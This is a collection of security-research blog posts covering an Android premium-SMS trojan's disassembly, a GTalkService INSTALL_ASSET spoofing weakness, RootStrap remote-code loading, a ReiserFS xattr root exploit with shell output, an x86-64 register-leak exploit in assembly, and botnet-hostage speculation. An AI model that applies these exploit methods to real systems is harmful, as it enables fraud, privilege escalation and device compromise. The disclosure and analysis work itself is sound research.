Package: RU.apk
Package Name: org.me.androidapplication1
Permissions Requested: android.permission.SEND_SMS
Contents:
    ./classes.dex
    ./res
    ./res/drawable
    ./res/drawable/icon.png
    ./res/layout
    ./res/layout/main.xml
    ./resources.arsc
    ./AndroidManifest.xml
    ./META-INF
    ./META-INF/MANIFEST.MF
    ./META-INF/CERT.RSA
    ./META-INF/CERT.SF

There’s not much to this trojan application.  In fact, it appears to be hastily built off of the HelloWorld example program distributed in the Android SDK.  Even the primary layout file (main.xml) contains nothing but a single LinearLayout with a TextView saying “Hello Android from NetBeans”.

So let’s take a look at the dexcode disassembly of the very small classes.dex code.  The primary functionality of the application takes place in the onCreate event for the MoviePlayer activity:

[000924] org.me.androidapplication1.MoviePlayer.onCreate:(Landroid/os/Bundle;)V
...
000c: invoke-virtual {v6}, Lorg/me/androidapplication1/DataHelper;.canwe:()Z
000f: move-result v2
0010: if-eqz v2, 0040 // +0030

When the activity first fires up, the DataHelper.canwe() function is called.  The trojan maintains a sqlite database (“movieplayer.db”) with a single table (“table1″) and a single column (“was”).  This table is checked at runtime to see if the trojan has already performed its toll fraud.  If the canwe() function determines that the trojan has already been activated in the past, it will abort and jump directly to 0040 which invokes the activity’s finish() function.

0012: new-instance v9, Landroid/widget/TextView; // class@000e
0014: invoke-direct {v9, v12}, Landroid/widget/TextView;.<init>
0017: const-string v8, "?????????, ????????????? ?????? ? ?????????.."
0019: invoke-virtual {v9, v8}, Landroid/widget/TextView;.setText
001c: invoke-virtual {v12, v9}, Lorg/me/androidapplication1/MoviePlayer;.setContentView

The application then displays a TextView to the user containing a Russian message which translates roughly via Google to “Wait, sought access to video library..”

001f: invoke-static {}, Landroid/telephony/SmsManager;.getDefault:()
0022: move-result-object v0
0023: const-string v1, "3353" // string@0001
0025: const-string v3, "798657" // string@0003
0027: const/4 v2, #int 0 // #0
0028: const/4 v4, #int 0 // #0
0029: const/4 v5, #int 0 // #0
002a: invoke-virtual/range {v0, v1, v2, v3, v4, v5}, Landroid/telephony/SmsManager;.sendTextMessage

As the user is waiting for its video library to be “sought”, the trojan goes ahead and begins sending SMS messages to a premium Russian SMS shortcode, resulting in toll charges to the end user.  The string v1 in the dexcode above is the destination number argument for sendTextMessage and v3 is the message contents.  From the above, you can see that the trojan is sending the message “798657″ to the SMS shortcode “3353″.

002d: const-string v1, "3354" // string@0002
002f: const/4 v2, #int 0 // #0
0030: const/4 v4, #int 0 // #0
0031: const/4 v5, #int 0 // #0
0032: invoke-virtual/range {v0, v1, v2, v3, v4, v5}, Landroid/telephony/SmsManager;.sendTextMessage

The trojan then sends the same message, but to the number “3354″.

0035: const-string v1, "3353" // string@0001
0037: const/4 v2, #int 0 // #0
0038: const/4 v4, #int 0 // #0
0039: const/4 v5, #int 0 // #0
003a: invoke-virtual/range {v0, v1, v2, v3, v4, v5}, Landroid/telephony/SmsManager;.sendTextMessage

And, for good measure, the trojan again sends another SMS messages to “3353″.

003d: invoke-virtual {v6}, Lorg/me/androidapplication1/DataHelper;.was:()V
0040: invoke-virtual {v12}, Lorg/me/androidapplication1/MoviePlayer;.finish:()V
0043: return-void

After its mini-barrage of premium SMS messages, the trojan inserts the value “was” into the “was” column of the “table1″ table in its sqlite database.  This signals the trojan to stop its toll fraud activities after the first time it runs.  It would be unwise for the trojan to continually barrage the premium SMS number with additional messages from the same user as it would likely raise more red flags.

Again, not a whole lot to it.  Since these are Russian SMS short codes, any non-Russian phones probably won’t be able to SMS that premium shortcode and therefore won’t incur the toll charges.  It’s important to note that the application has no viral spreading capabilities nor command and control functionality.  It simply relies on users being tricked into downloading, installing, and running the fake movie player application.

The media hoopla around this trojan release is a bit overblown, as mobile SMS toll fraud (especially overseas) is nothing new.  Attackers continue to take the path of least resistance to monetization and, as usual, simple toll fraud is much preferred over any highly technical attack.  But hey, it gives AV companies a great opportunity to fire up the mobile security hype machine and snake oil generator…

A Brief Introduction to the GTalkService

If you haven’t read the previous post on the GTalkService and INSTALL_ASSET/REMOVE_ASSET, do so first.

In short, the GTalkService is a persistent connection maintained from your Android phone to Google’s servers at all time.  It allows Google to push down messages to your phone in order to perform particular actions.  For example, when you click to install an app through the Android Market, Google pushes down an INSTALL_ASSET to your phone which causes it to fetch and install that application.  When Google wants to remote kill an application from your phone, it pushes down a REMOVE_ASSET message to your phone which causes it to remove the particular application.

The GTalkService is a SSL connection which is intended to provide confidentiality and integrity of the messages exchanged between your phone and Google’s servers.  However, as we’ve seen in the past, SSL does not always hold up those guarantees.

So the question we’re trying to answer in this post is: If an attacker is able to compromise the integrity of the GTalkService SSL connection in any way, will they be able to forge INSTALL_ASSET messages to install arbitrary applications on the target device?  Or, is there any additional layer of integrity (eg. INSTALL_ASSET messages being signed by Google) to prevent it?

Experimental Setup

To snoop on the GTalkService connection, we need to man-in-the-middle the SSL connection.  There’s three steps to doing this:

1. Obtain an Android emulator image with market capabilities.
2. Add your own CA certificate to /system/etc/security/cacerts.bks using keytools.
3. MITM the connection using a tool such as Moxie’s sslsniff with your CA cert.

Now, when we fire up the emulator and the GTalkService attempts to connect, it will be successfully MITM’ed since it trusts the CA certificate we created.

The GTalkService Protocol

We can now snoop on the GTalkService connection.  Here’s a brief dump of several of the message types used when your phone communicates with Google’s servers over the GTalkService.

Login Messages

The initial login exchange passes your Jabber ID (JID) to Google’s servers along with (I believe) the authentication token associated with your Google account after obtaining it from Google’s ClientLogin service.

Client -> Server
00000000  03                                                |.|
00000001

Server -> Client
00000000  03                                                |.|
00000001

Client -> Server
00000000  02 c1 02 0a 07 41 32 49  36 44 2d 30 12 09 67 6d  |.....A2I6D-0..gm|
00000010  61 69 6c 2e 63 6f 6d 1a  11 6a 6f 6e 6f 61 6e 64  |ail.com..jonoand|
00000020  72 6f 69 64 6d 61 72 6b  65 74 22 13 61 6e 64 72  |roidmarket".andr|
00000030  6f 69 64 77 43 78 77 58  70 68 59 6a 33 4a 4d 2a  |oidwCxwXphYj3JM*|
00000040  e0 01 44 51 41 41 41 4a  30 41 41 41 44 39 4f 4c  |..DQAAAJ0AAAD9OL|
00000050  6a 43 6a 48 71 34 49 62  36 7a 77 6d 6d 44 32 33  |jCjHq4Ib6zwmmD23|
00000060  39 52 56 78 5f 73 77 5f  56 63 77 43 6e 45 70 4c  |9RVx_sw_VcwCnEpL|
00000070  38 70 56 56 6f 79 4f 70  36 6b 49 4a 63 31 38 70  |8pVVoyOp6kIJc18p|
00000080  72 52 66 71 77 34 76 59  34 50 74 78 70 43 5a 67  |rRfqw4vY4PtxpCZg|
00000090  4e 54 30 35 50 77 5a 59  65 72 59 32 43 4e 58 45  |NT05PwZYerY2CNXE|
000000a0  54 49 37 73 62 72 63 4c  70 6a 4b 30 7a 50 4c 45  |TI7sbrcLpjK0zPLE|
000000b0  51 65 6f 38 50 4b 66 67  38 51 4e 41 34 66 34 69  |Qeo8PKfg8QNA4f4i|
000000c0  31 7a 43 48 5a 73 43 62  68 41 32 50 39 59 6c 59  |1zCHZsCbhA2P9YlY|
000000d0  58 6f 55 65 65 68 79 4d  77 70 66 6a 51 39 35 68  |XoUeehyMwpfjQ95h|
000000e0  31 30 46 4c 45 79 79 6b  67 78 4c 30 6a 76 42 4e  |10FLEyykgxL0jvBN|
000000f0  68 4a 42 4c 6d 5a 6a 4d  50 46 33 2d 71 33 41 48  |hJBLmZjMPF3-q3AH|
00000100  63 70 74 4d 78 5a 35 59  56 4f 30 6b 32 73 58 56  |cptMxZ5YVO0k2sXV|
00000110  30 2d 44 4b 63 66 66 7a  31 34 51 49 31 7a 33 33  |0-DKcffz14QI1z33|
00000120  57 38 32 17 61 6e 64 72  6f 69 64 2d 66 32 66 31  |W82.android-f2f1|
00000130  35 63 63 64 31 37 66 62  33 30 35 38 d6 e1 d9 c4  |5ccd17fb3058....|
00000140  c5 c1 a2 02                                       |....|
00000144

Server -> Client
00000000  03 3a 0a 07 41 32 49 36  44 2d 30 12 2f 6a 6f 6e  |.:..A2I6D-0./jon|
00000010  6f 61 6e 64 72 6f 69 64  6d 61 72 6b 65 74 40 67  |oandroidmarket@g|
00000020  6d 61 69 6c 2e 63 6f 6d  2f 61 6e 64 72 6f 69 64  |mail.com/android|
00000030  77 43 78 77 58 70 68 59  6a 33 4a 4d              |wCxwXphYj3JM|
0000003c

Heartbeat Messages

Heartbeats are initiated by the Android client simply to ping Google’s servers and ensure connectivity is active.

Client -> Server
00000000  00 00                                             |..|
00000002

Server -> Client
00000000  01 00                                             |..|
00000002

INSTALL_ASSET Messages

The INSTALL_ASSET message is what we’re most interested in.  During my testing, I installed a random application from the Android Market on my emulator in order to capture an INSTALL_ASSET payload.  As you can see below, the message specifies a number of parameters:

• tickle_id: 1277687266074
• assetid: -155863831473120556
• asset_name: Replica Island
• asset_type: GAME
• asset_package: com.replica.replicaisland
• asset_blob_url: http://android.clients.google.com/market/download/Download?assetId=-155863831473120556&userId=986032118775&deviceId=1094117203906638597
• asset_signature: Ayn2bWDqckQkKsBY4JurvCFpYN0
• asset_size: 5144485

Server -> Client
00000000  08 d5 03 08 8a c2 89 fd  cb c1 a2 02 1a 0a 67 6f  |..............go|
00000010  6f 67 6c 65 2e 63 6f 6d  22 2f 6a 6f 6e 6f 61 6e  |ogle.com"/jonoan|
00000020  64 72 6f 69 64 6d 61 72  6b 65 74 40 67 6d 61 69  |droidmarket@gmai|
00000030  6c 2e 63 6f 6d 2f 61 6e  64 72 6f 69 64 77 43 78  |l.com/androidwCx|
00000040  77 58 70 68 59 6a 33 4a  4d 2a 0d 49 4e 53 54 41  |wXphYj3JM*.INSTA|
00000050  4c 4c 5f 41 53 53 45 54  3a 1a 0a 09 74 69 63 6b  |LL_ASSET:...tick|
00000060  6c 65 5f 69 64 12 0d 31  32 37 37 36 38 37 32 36  |le_id..127768726|
00000070  36 30 37 34 3a 1e 0a 07  61 73 73 65 74 69 64 12  |6074:...assetid.|
00000080  13 2d 31 35 35 38 36 33  38 33 31 34 37 33 31 32  |.-15586383147312|
00000090  30 35 35 36 3a 1c 0a 0a  61 73 73 65 74 5f 6e 61  |0556:...asset_na|
000000a0  6d 65 12 0e 52 65 70 6c  69 63 61 20 49 73 6c 61  |me..Replica Isla|
000000b0  6e 64 3a 12 0a 0a 61 73  73 65 74 5f 74 79 70 65  |nd:...asset_type|
000000c0  12 04 47 41 4d 45 3a 2a  0a 0d 61 73 73 65 74 5f  |..GAME:*..asset_|
000000d0  70 61 63 6b 61 67 65 12  19 63 6f 6d 2e 72 65 70  |package..com.rep|
000000e0  6c 69 63 61 2e 72 65 70  6c 69 63 61 69 73 6c 61  |lica.replicaisla|
000000f0  6e 64 3a 9a 01 0a 0e 61  73 73 65 74 5f 62 6c 6f  |nd:....asset_blo|
00000100  62 5f 75 72 6c 12 87 01  68 74 74 70 3a 2f 2f 61  |b_url...http://a|
00000110  6e 64 72 6f 69 64 2e 63  6c 69 65 6e 74 73 2e 67  |ndroid.clients.g|
00000120  6f 6f 67 6c 65 2e 63 6f  6d 2f 6d 61 72 6b 65 74  |oogle.com/market|
00000130  2f 64 6f 77 6e 6c 6f 61  64 2f 44 6f 77 6e 6c 6f  |/download/Downlo|
00000140  61 64 3f 61 73 73 65 74  49 64 3d 2d 31 35 35 38  |ad?assetId=-1558|
00000150  36 33 38 33 31 34 37 33  31 32 30 35 35 36 26 75  |63831473120556&u|
00000160  73 65 72 49 64 3d 39 38  36 30 33 32 31 31 38 37  |serId=9860321187|
00000170  37 35 26 64 65 76 69 63  65 49 64 3d 31 30 39 34  |75&deviceId=1094|
00000180  31 31 37 32 30 33 39 30  36 36 33 38 35 39 37 3a  |117203906638597:|
00000190  2e 0a 0f 61 73 73 65 74  5f 73 69 67 6e 61 74 75  |...asset_signatu|
000001a0  72 65 12 1b 41 79 6e 32  62 57 44 71 63 6b 51 6b  |re..Ayn2bWDqckQk|
000001b0  4b 73 42 59 34 4a 75 72  76 43 46 70 59 4e 30 3a  |KsBY4JurvCFpYN0:|
000001c0  15 0a 0a 61 73 73 65 74  5f 73 69 7a 65 12 07 35  |...asset_size..5|
000001d0  31 34 34 34 38 35 40 01                           |144485@.|
000001d8

The INSTALL_ASSET Signature

Uh-oh, there’s an opaque asset_signature attribute in that INSTALL_ASSET message.  Is it possible Google is cryptographically signing each message in order to thwart an attacker trying to forge malicious INSTALL_ASSET messages?  Let’s take a deeper look at the signature and where it is used in the Android system.

The asset_signature attribute is processed in the getDownloadInfo function of the InstallAssetReceiver class in the Vending.apk package.  Later, we see that the signature is actually a base64-encoded SHA-1 which is compared to the hash of the fetched APK file specified in the asset_blob_url attribute:

To verify our assumptions that this is a SHA-1 of the APK and not a digital signature over the INSTALL_ASSET message, let’s take a peek at the vending package’s sqlite database:

# sqlite3 /data/data/com.android.vending/databases/assets.db
sqlite> select * from assets10;
...|com.replica.replicaisland|false|Ayn2bWDqckQkKsBY4JurvCFpYN0#5144485|...

Let’s try to verify the signature present in the assets.db against the SHA-1 hash of the application’s APK:

>>> print binascii.hexlify(base64.b64decode('Ayn2bWDqckQkKsBY4JurvCFpYN0='))
0329f66d60ea7244242ac058e09babbc216960dd

jono@dionysus ~ $ openssl sha1 com.replica.replicaisland.apk
SHA1(com.replica.replicaisland.apk)= 0329f66d60ea7244242ac058e09babbc216960dd

Indeed, these signatures are identical, indicating that the asset_signature contained in the INSTALL_ASSET message is simply a hash of the target APK, and _not_ a digital signature authenticating the source of the message.

Conclusion

After peeking in to the GTalkService and observing the plaintext INSTALL_ASSET payloads, it is clear that there are no digital signatures attached to the INSTALL_ASSET messages.  Therefore, an attacker who is able to intercept the SSL connection used by the GTalkService will be able to push down arbitrary INSTALL_ASSET messages to the victim’s phone.  Since the phone will install the APK specified in the INSTALL_ASSET message automatically without user intervention, the attacker could remotely install a malicious application requesting arbitrary permissions and containing a malicious payload.

The larger lesson here is that SSL is not an end-all solution for delivering software payloads.  A loss in network integrity should not directly lead to a loss of host integrity.  Just as used in many desktop application auto-updating components, the update manifest and/or payload should be digitally signed by the distributor in addition to using SSL as a transport.  Google should be cryptographically signing the INSTALL_ASSET messages used in the GTalkService to protect against this threat model.

RootStrap Background

So if you didn’t check out my slides from SummerCon last week in NYC, I talked a bit about a program called RootStrap in the second half of my talk.  RootStrap is intended as an example of an application that could be used to bootstrap a rootkit (hence the name).  Summed up as briefly as possible, RootStrap phones home periodically to fetch remote native ARM code and executes it outside the Dalvik VM.  An attacker could use such an approach to gain a large install base for a seemingly innocent application and then push down a local privilege escalation exploit as soon as a new vulnerability is discovered in the Linux kernel and root the device.  Since carriers are fairly conservative in pushing out OTA patches for their devices, an attacker could easily push out their malicious payload before the devices were patched.

In addition to the sample RootStrap application, I also posted an innocent looking app called “Twilight Eclipse Preview” that claimed to be a preview of the upcoming Twilight Eclipse movie to the Android Market.  The Twilight app was actually just RootStrap in disguise, displaying a Twilight image while phoning home to check for new payloads to pull down and execute.  Obviously, none of these payloads were actually malicious in nature.  The Twilight app got ~200 downloads in the first 24 hours but started slowing down as it received bad reviews…apparently I don’t have a future in marketing mobile apps to Twilight teens.

Android Remote Kill

In response to Andy’s coverage on Forbes of my SummerCon presentation, Google asked me to withdraw my applications from the market, which I had no problem doing.  Later that day, I noticed a couple of notifications on my phone:

Sweet, Google had just invoked their remote kill functionality!  Apparently not many people have dug into the vending APK, but I’ve known about the REMOVE_ASSET functionality for a while so it was neat to see it being invoked on my phone.  I verified my assumptions of the REMOVE_ASSET intent by bringing up the GTalkService monitor:

Talking with Rich later, this was apparently the first time the Android team invoked the remote kill functionality.  I had assumed it had been used frequently in the past, but apparently attackers have been slacking off.  Rich covered their use of the remote kill functionality on the Android Developers blog today.

Now, the Android platform not only allows for the removal of applications remotely via the REMOVE_ASSET intent, but also allows for the installation of new applications via the INSTALL_ASSET intent.  If some people are upset that Google retains the ability to kill applications remotely (I personally prefer the potential security gains of the functionality), I fear what they’d think of the INSTALL_ASSET feature. ;-)

The GTalkService Connection

So just how does the remote install and remote kill functionality work on the Android platform?  I actually talked about this functionality in my SummerCon slides as well when discussing the operation of the Android Market and its protocol.

Your Android device maintains a persistent TCP/SSL/XMPP connection to Google’s GTalk servers at all times over your device’s data connection (either your mobile data service or WiFi).  This connection is managed by a service aptly named GTalkService.  Your device will automatically re-establish this persistent connection whenever you move between networks and periodically sends heartbeat messages to Google’s servers.

The GTalkService connection allows Google to push down messages to your device.  For example, Google’s recently announced C2DM (cloud to device messaging) platform uses this connection to provide push functionality to third-party apps.

As seen in slide #11 and #12 of my presentation, the GTalkService is actually used during the normal Android Market install process.  Instead of downloading the APK from the Market, clicking ‘Install’ will trigger Google’s servers to push a INSTALL_ASSET message down the GTalkService pipe.  Upon receiving this message, your phone will download and install the APK.

As expected, the REMOVE_ASSET intent functions similarly.  Google can push a REMOVE_ASSET message down to all the Android phones in order to remote kill a particular application deemed malicious.

Both the INSTALL_ASSET and REMOVE_ASSET functionality are implemented in the vending APK:

Security Concerns

While remotely removing apps might ruffle the feathers of people who like the feeling of having full control over their device, the remote install functionality is of more concern from a security perspective.

As I mention on slide #14, if an attacker is able to MITM this SSL GTalkService connection for a particular device, it may be possible to spoof these INSTALL_ASSET messages to deliver a malicious application payload.  If Google’s GTalkService servers were compromised, the malicious impact would obviously be a bit more widespread.

You better believe that myself and others are taking a careful look at these code paths. :-)

The Vulnerability

The vulnerability was introduced in May 2009 in commit 677c9b2.  The commit was intended to simplify the logic around ReiserFS’s privroot, a virtual path located at .reiserfs_priv in the root of the fs mount that is used for storing internal filesystem information such as extended attributes.  The commit also had the unfortunate side effect of exposing the privroot dentry (even without the expose_privroot mount option enabled), allowing an unprivileged user to read/write the filesystem information stored in .reiserfs_priv.

The Exploit

So, what exactly is the security risk in having an unprivileged user modify the ReiserFS privroot information?  Well, the primary use of the .reiserfs_priv path is the storage of extended file attributes.  Extended attributes, aka “xattrs”, can be used to extend past the limitations of traditional UNIX file attributes (permission bits, atime/ctime/mtime, etc) by allowing the association of additional metadata name-value pairs with a file.

While an unprivileged user forging xattrs doesn’t directly result in privilege escalation, we can modify particular types of xattrs to achieve that goal.  In particular, we can leverage one common type of extended attribute: POSIX file capabilities.  POSIX file capabilities are a useful feature that allow the assignment of capabilities to executables at a finer-grained level than the setuid bit.  For example, instead of making the ping binary setuid root, POSIX file capabilities allow us to simply grant it the CAP_NET_RAW capability so that it can use raw sockets for its ICMP echo requests/responses.  While many POSIX file capabilities are root-equivalent, they can be quite useful in certain threat models to reduce the attack surface of a system.

However, in this case, we’re going to piggyback on the functionality of POSIX file capabilities to escalate privileges.  Note that since we’re able to write arbitrary xattr data in the privroot, we can thereby assign arbitrary capabilities to any file on the filesystem.  For example, we could assign the CAP_SETUID to a binary to allow it to use setuid(2) when it is executed.

Indeed, that’s exactly what we do.  We dump a simple setuid(0)/setgid(0)/execl(“/bin/sh”) wrapper binary on the ReiserFS filesystem, determine its object id with a bit of a readdir hack, assign CAP_SETUID/CAP_SETGID capabilities to the object id by writing the appropriate xattrs to .reiserfs_priv, and finally execute the binary for a root shell.

The full exploit is here.  Example output:

$ python team-edward.py
[+] checking for reiserfs mount with user_xattr mount option
[+] checking for private xattrs directory at /.reiserfs_priv/xattrs
[+] preparing shell in /tmp
[+] capturing pre-shell snapshot of private xattrs directory
[+] compiling shell in /tmp
[+] setting dummy xattr to get reiserfs object id
[+] capturing post-shell snapshot of private xattrs directory
[+] found 1 new object ids
[+] setting cap_setuid/cap_setgid capabilities on object id 192B.1468
[+] spawning setuid shell...
# id
uid=0(root) gid=0(root) groups=4(adm), ...

I was trying to dig up the old NTFS PoC fs image from the MoKB archives at info-pull.com to DoS my LG LCD TV, which is a MIPS box running Linux, via its USB port:

However, the actual downloads for the archives were inaccessible and it wasn’t easy to find a mirror.  Luckily, I did eventually find the one hosted by the SecuriTeam guys, but I figured I’d yank down a copy to mirror for posterity in case the last remaining mirror goes down.

Introduction

In order to understand this vulnerability, we first need to talk a bit about the x86-64 architecture (aka amd64).  One of the key design decisions of x86-64, which fueled its adoption over IA-64, is its backward compatibility with 32-bit code.  In x86-64 long mode, there are two sub-modes controlled by the code segment descriptor: compatibility mode and 64-bit mode.  Therefore, our 64-bit operating system can execute both 32-bit and 64-bit binaries without issue.  Of course, if we’re executing a 32-bit binary, we can access our traditional 32-bit architecture registers and not any of the additional register file added by x86-64.

However, it is possible to mix both 32-bit and 64-bit code within a single executable.  A 32-bit process can switch into 64-bit mode and jump right to x86-64 machine code.  In addition, a 64-bit process is capable of invoking 32-bit syscalls.  This type of switching can often be abused to bypass syscall filtering mechanisms as Chris Evans discovered (since syscall numbers differ between 32-bit and 64-bit).  In this case, we will switch between 32-bit and 64-bit code in order to exploit an information leak in the kernel.

The Vulnerability

The underlying issue that causes this vulnerability is a lack of zeroing out several of the x86-64 registers upon returning from a syscall.  A 32-bit application may be able to switch to 64-bit mode and access the r8, r9, r10, and r11 registers to leak their previous values.  This issue was discovered by Jan Beulich and patched on October 1st.  The fix is obviously to zero out these registers to avoid leaking any information to userspace.

A snippet from the patch demonstrating the fix:

diff --git a/arch/x86/ia32/ia32entry.S b/arch/x86/ia32/ia32entry.S
--- a/arch/x86/ia32/ia32entry.S
+++ b/arch/x86/ia32/ia32entry.S
@@ -172,6 +172,10 @@ sysexit_from_sys_call:
        movl    RIP-R11(%rsp),%edx              /* User %eip */
        CFI_REGISTER rip,rdx
        RESTORE_ARGS 1,24,1,1,1,1
+       xorq    %r8,%r8
+       xorq    %r9,%r9
+       xorq    %r10,%r10
+       xorq    %r11,%r11
        popfq
        CFI_ADJUST_CFA_OFFSET -8
        /*CFI_RESTORE rflags*/

The Exploit

As we previously mentioned, our 32-bit userspace application needs to switch into 64-bit mode in order to access the x86-64 registers and expose the leaked information. To mix our 32-bit and 64-bit code, we compile our binary with -m32 but use gcc’s inline asm to mix in the necessary 64-bit code without conflict.  In order to switch to 64-bit mode, we simply need to perform a ljmp/lcall with the USER_CS code segment (0×33 on Linux):

.code32
ljmp $0x33, $1f
.code64
1:
/* 64-bit code here */
xorq %rax, %rax
...

For each of the 64-bit registers r8, r9, r10, and r11, we simply cram the 64-bits into two 32-bit GPRs.  For example, we throw the upper and lower 32-bits of r8 into rax and rcx respectively (later to be retrieved through eax and ecx):

movq %r8, %rcx
shr $32, %r8
movq %r8, %rax

Finally, to retrieve the leaked values, we jmp to an invalid address (0xdeadbeef) to cause a SIGSEGV and then use ‘info regs’ in gdb to inspect the register values.

The full exploit is available here.  Example output:

$ gcc -m32 x86_64-reg-leak.c -o x86_64-reg-leak
$ gdb ./x86_64-reg-leak
GNU gdb 6.8-debian
...
(gdb) run
[+] Switching to x86_64 long mode via far jmp...
...
Program received signal SIGSEGV, Segmentation fault.
0xdeadbeef in ?? ()
(gdb) info reg
eax            0xffff8800       -30720        <-- r8 upper
ecx            0xa5cc6000       -1513332736   <-- r8 lower
edx            0x0      0                     <-- r9 upper
ebx            0x1      1                     <-- r9 lower
esp            0xffff8800       0xffff8800    <-- r10 upper
ebp            0xa5cc6000       0xa5cc6000    <-- r10 lower
esi            0x0      0                     <-- r11 upper
edi            0xffffffff       -1            <-- r11 lower
...

spender also wrote an exploit simultaneously which is available here.  It will loop and call a bunch of random syscalls and printf the leaked data so you don’t have to use gdb.

Dam Burst operates by injecting code into a running application and removing the Green Dam hooks that enable it to monitor and block user activity, effectively restoring the running application to its original uncensored state.

Unlike other tools that disable or uninstall the Green Dam software, Dam Burst does not require administrative privileges. Since Dam Burst can be run as an unprivileged user to disable the Green Dam censorware in currently running applications, it is very effective in situations where the user is restricted from obtaining administrator privileges and may wish to avoid censorship (eg. public/internet cafe computers that the user may not own).

As a pleasant side effect, disabling the Green Dam components within a running process actually increases the security of the end host as the vulnerable code paths within the Green Dam software are no longer exploitable by an attacker.

Download and Details

The Dam Burst download and technical details on how it operates are available here:

http://jon.oberheide.org/damburst/

Hostage-Related Cybercrime

We frequently see cybercriminals taking a page from traditional crime and adapting to their specific environment.  In fact, we’ve seen hostage-related scenarios adapted to cybercrime in many cases.  For example:

Ransomware: Ransomware will encrypt a user’s documents/data and demand a payment to decrypt the data.  This technique is most successful when the ransomware software is spread across large numbers of individuals, each requiring a reasonably small payment.

Data Theft Extortion: Similar to ransomware, corporations may be extorted into large payments in order to prevent the release of sensitive data stolen by an attacker.   This attack differs from ransomware since it is not denying access to the entity’s data, but instead threatening the release or sale of the data which will undoubtedly cause great financial harm to the entity.

DoS Extortion: Instead of targeting data, an attacker may instead threaten the availability of a service.  For example, an attacker may demand payment from a utility company threatening to take down electrical service for their customers (in fact, Jason Larsen of IOActive mentioned that 100% of the SCADA extortion attempts that he has experienced have paid out the extortion demand).

Hostage Taking Botnets

While all of these existing cyber scenarios share similarities with traditional hostage-taking and ransom situations, none of them precisely mirror the motivations and characteristics of the involved parties in a traditional hostage situation.  Traditional hostage situations often involve the capture of a large group of innocent people under the threat of harm in order to coerce the acceptance of demands.

Now where in the security world do we have large groups of random captured entities?  Why, botnets, of course!  Why would a botnet want to hold its own infected machines hostage?  As an example, let’s take the Conficker botnet, which was estimated by multiple groups to be between 4-5 million infected hosts.  Conficker received a significant amount of attention, resulting in the Conficker Working Group and cooperation with TLD operators in attempt to blackhole Conficker C&C through it’s DGA.  Now imagine if the Conficker authors had released the following threat through their malware distribution network:

“If the Conficker Working Group blackholes any of the domains generated by our DGA, we will selectively destroy all of the infected machines resident in Fortune 500 networks.”

While this is just one arbitrary example threat, one can imagine the impact it could have on the activities of the Conficker Working Group.  These types of demands by botnet operators may catch our existing approaches of dealing with cyberthreats by surprise.  Unlike traditional hostage scenarios where jurisdiction is well-defined and LEO or FBI may be in charge of response to such demands, who takes lead in the botnet hostage events where the potential victims are scattered all over the world?

As a comparison, let’s breakdown the attributes of a traditional and botnet hostage situation:

Questions to Think About

It’s easy to see some parallels between a traditional and botnet hostage situation, but the key differences raise a lot of interesting questions.

What’s are the trade-offs?

Is it worth allowing a botnet to continue to their activities in order to prevent the destruction of several million end hosts?  We traditionally don’t see destructive malware as living hosts are much more valuable to the botnet operators than dead hosts but the threat of destruction can be a valuable bargaining chip.  Similar to traditional hostage situations, the actual termination of the hostages may be of small quantitative value (sorry humans/computer hostages, you’re usually not very objectively valuable ;-) compared to the impact of resulting fallout (liability, bad publicity, data loss, downtime, enraged users, etc).

Who’s in charge?

In a situation with infected hostage hosts spread geographically all over the world and resident in home user, enterprise, and governmental networks, who is in command of the situation and response?  Who makes decisions whether to negotiate or not?  Who has authority to prevent AV vendors from releasing signatures that might trigger the destruction of hosts?  As we’ve seen with Conficker, collaboration across a wide range of vendors and organizations is possible, but is hardly as organized as the well-defined and established chain-of-command you’d see in a law enforcement agency.

Do we negotiate with botnet operators?

As the US government refuses to negotiate with terrorists, is this the best approach to take with botnet operators?  Otherwise, do we risk inviting other botnets to present similar demands?

Is this actually going to happen?

I hope not, but it’s something interesting to think about. :-)